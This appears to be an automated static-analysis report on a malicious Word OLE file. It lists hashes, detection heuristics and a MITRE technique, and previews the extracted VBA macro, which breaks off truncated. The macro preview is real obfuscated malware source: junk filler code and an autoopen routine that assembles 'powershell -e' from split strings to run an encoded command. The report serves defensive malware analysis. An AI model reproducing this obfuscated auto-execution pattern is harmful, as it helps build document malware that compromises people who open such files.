Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4970fbdc821b4e77…

MALICIOUS

Office (OLE)

192.2 KB Created: 2019-03-13 06:33:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 4c0fd414a917e8bbf40307dc58f8359f SHA-1: e10a9ccea4b9f0bed2ba7c45d3446d340ffa524c SHA-256: 4970fbdc821b4e7777b49abae8bdb7829f929f3068cfa38d3aa61361a2eb1095
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. Heuristics indicate obfuscation techniques, including reassembling API names like 'Win32_Process' from split strings. The presence of an AutoOpen macro and GetObject calls suggests an attempt to execute code upon opening. The ClamAV detection further confirms its malicious nature, likely acting as a downloader for further stages.

Heuristics 8

  • ClamAV: Doc.Malware.Obfuse-6903012-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Obfuse-6903012-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38898 bytes
SHA-256: c256514a34ce2e27f6b8a7c42fd0a1ea3ae123179d4e276ec7aaa8faae214c91
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Z_DABwAQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function VQBwDwcA()
   If zAGAGAA = DABAxA Then
LUQAGB = Chr(YXUUAAUA)
zQx1DoA = RABAAGc + ChrW(ZA1AxkXQ) * 441403071 * CBool(808982229) + 641922541 / Round(UUAAAxC) - BAx1D4Q + Sqr(288242007) - 34026037 * CByte(663329497)
wQAAZoDQ = Chr(lUAUAcD)
End If
   If bGAU_4ZA = FxAoAACC Then
j4oAAA = Chr(CUoQ1Q)
LDUA_X1 = tAwAAQAk + ChrW(vA_DAZ) * 423890639 * CBool(216600933) + 37803705 / Round(m1BCC4Q) - XABDAkoB + Sqr(2570903) - 148737031 * CByte(711622087)
jUAA1c = Chr(wAAAkA)
End If
   If JAADUA = zCA1DX Then
nDoAD1AQ = Chr(iAZCQU)
U_Ac44QU = Z_XQBX + ChrW(z4AAUB) * 513305013 * CBool(388723137) + 574423368 / Round(zXB_AAA) - m1ACA41U + Sqr(150227049) - 820400038 * CByte(172219737)
lAwXZQA_ = Chr(wABAAx)
End If
   If UAA_GAD = fAAA4A Then
z1AxxA = Chr(JAAcGBw)
PBAQAAw = LA4oXAG + ChrW(WAAUDA) * 4420613 * CBool(496174223) + 890941101 / Round(TABD4A_) - vBZAUC_ + Sqr(853976039) - 312502796 * CByte(80263922)
oUAQDA = Chr(oQBUAw_)
End If
   If BxQUAAo = lkAAk4 Then
rQ1_ACQc = Chr(sAA4xXC)
hUAAkcw = TBUkGUCB + ChrW(ODAUAx) * 34512621 * CBool(929478521) + 906839506 / Round(lccDUx) - IZQ1GAUw + Sqr(732299348) - 80019840 * CByte(854404928)
qoBAU1B = Chr(C1QAA4)
End If
   If jcBxXA = zDDXAA Then
BAADwDA = Chr(CAAQAB)
VADZA4U = IXD_A_GG + ChrW(IQAQACUA) * 172809488 * CBool(879846461) + 393322782 / Round(GBBBAAw) - PUAAQAAQ + Sqr(135885734) - 118117968 * CByte(953407130)
qZDDBD = Chr(IACGA4)
End If
   If XGBABAXZ = iQk4Do1 Then
E1ZUCxx = Chr(fQAoAAQ)
ZAc1UDGA = H1AAoA + ChrW(wc4ABUU) * 905667836 * CBool(277594522) + 594343910 / Round(pB4AAAQ) - XxXAQAX + Sqr(691490041) - 222841557 * CByte(182350531)
uBQwUA1 = Chr(pDc_AAGB)
End If
End Function
Sub autoopen()
On Error Resume Next
   If dwBxoA = vADDUcXA Then
VAZABAA = Chr(RkAQDCZc)
YAACwU = IDcABDA + ChrW(cQGCoU) * 309152852 * CBool(736654577) + 796353423 / Round(zUAxAQB4) - MAA_cU + Sqr(947806355) - 687440721 * CByte(531962725)
oAC_UD4Q = Chr(XwcAAX)
End If
   If mZABB4UG = jw1Q1AD Then
c_AoDwU = Chr(HAQ1wD)
iQ4A1QAU = L4DoAB_A + ChrW(jBAAU1) * 540009372 * CBool(782235021) + 591577056 / Round(KcA_4D) - z4AAZX + Sqr(272880954) - 38603764 * CByte(269958936)
r_4_AD = Chr(FxcxkAU)
End If
   If TxZ_XA = UXQckAZ1 Then
FZB_AAc = Chr(zCQk4B4B)
F4XkGB = XcCACAU + ChrW(iA1o_QBA) * 869732570 * CBool(858981997) + 78957533 / Round(aGBAoAA) - uAcQGowx + Sqr(93901263) - 718527163 * CByte(609434160)
iG1AA4 = Chr(loUxZ1XQ)
End If
HA1GUAw (UA_B_QU + "po" + FcAAADU_ + "wersh" + aXDAAQA + "ell -e " + kAAADo + zAQA1AZG + lQADQcCx + PX4QAk + v1U_AA)
   If hADDCZ = l1AxcUD Then
dDBoAxAc = Chr(Wc4CBDD)
JQAUkAAw = IAAAAA1 + ChrW(uoAkcB) * 292547635 * CBool(506784403) + 124428572 / Round(jAUwAXG) - lUAQBQAA + Sqr(331785275) - 673498215 * CByte(225199787)
vDCoAA = Chr(hCAAUAAU)
End If
   If Y4UAAX = vDAZCcAB Then
FAAQZ41 = Chr(jA41DAAB)
XUAAxQ = wBAUUC + ChrW(o1UDAA) * 62748113 * CBool(185621211) + 993303228 / Round(oDQkkU) - jXcxxw + Sqr(545003774) - 309160441 * CByte(254346241)
bABACQ = Chr(K1AAAB)
End If
End Sub
Function JAQUXGAD()
   If pBQAU4 = CUBDk4AA Then
zDUACxU = Chr(aCcBXA)
cBQADU = jXxAxAw + ChrW(WDQoAZC) * 832897663 * CBool(536175857) + 71052654 / Round(tD4cZA) - QAGA1AA + Sqr(678893028) - 830091208 * CByte(34998790)
i1AA4wAA = Chr(qA_QAB)
End If
   If IkUU1xA4 = DG1QZUBX Then
oAAAQD1Q = Chr(ZAC_1A)
doBAA4oG = bZkBAU + ChrW(iACAA4k) * 436287623 * CBool(193685541) + 752477889 / Round(LAkB4UAU) - okQAccXA + Sqr(256634284) - 541230560 * CByte(413618082)
KQAAcAA = Chr(vxADDA)
End If
   If jAcAUAxU = zQAAQGQc Then
TQGZZBG = Chr(tGABBDAc)
sxA1UAAD = dAA4QDB + ChrW(cBkGCk1) * 722642096 * CBool(682659876) + 370235955 / Round(jBxQZU_A) - KxUXww + Sqr(649890319) - 304389757 * CByte(210070511)
ZAkUDU = Chr(fAcBCo)
End If
   If jDkAAUGX = KAkB_QxU Then
kDA
... (truncated)

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